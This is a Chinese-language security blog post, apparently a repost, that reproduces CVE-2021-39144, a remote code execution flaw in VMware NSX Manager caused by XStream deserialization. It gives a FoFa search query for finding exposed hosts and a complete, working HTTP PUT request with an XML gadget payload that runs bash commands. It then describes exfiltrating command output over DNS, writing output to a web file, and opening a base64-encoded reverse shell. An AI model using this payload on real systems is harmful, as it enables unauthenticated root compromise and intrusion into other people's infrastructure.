VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

admin 2022年11月23日23:19:21评论264 views字数 1205阅读4分1秒阅读模式

免责声明

本公众号仅用于技术交流与学习,利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号只是知识的搬运工,取之于民用之于民。

简介

由于在 VMware Cloud Foundation (NSX-V) 中使用 XStream 进行序列化而未经身份验证,黑客可以构造恶意数据包从而造成远程代码执行漏洞。VMware Cloud Foundation 3.x 和更具体的 NSX Manager Data Center for vSphere 6.4.13 及更高版本容易受到远程命令执行的攻击。利用该漏洞可获得 root 权限。
FoFa语法
title="VMware Appliance Management"
漏洞复现

访问VMware Appliance Management页面,如图

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

使用下面Poc进行命令执行测试:

PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Connection: closeContent-Type: application/xmlContent-Length: 546
<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>bash</string> <string>-c</string> <string>cmd</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
使用DNS外带测试命令执行,返回400,如图:

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

查看DNS Log成功获取命令执行结果,如图:

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

继续探测web路径,尝试通过将命令执行结果写入静态文件,从而回显检测漏洞,如图:

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

但未获得全部web路径,仅获取到部分web路径:

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

本地搭建环境找到Web路径。通过写入静态页面检测漏洞是否存在。

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

GetShell

直接bash会因为特殊字符无法获得shell。通过base64编码一下即可反弹shell,如图:

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

Xray Poc

https://t.zsxq.com/08OAm0JQ9

VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

原文始发于微信公众号(Hack All):VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月23日23:19:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VMware NSX Manager XStream 远程代码执行漏洞(CVE-2021-39144)https://cn-sec.com/archives/1423511.html

发表评论

匿名网友 填写信息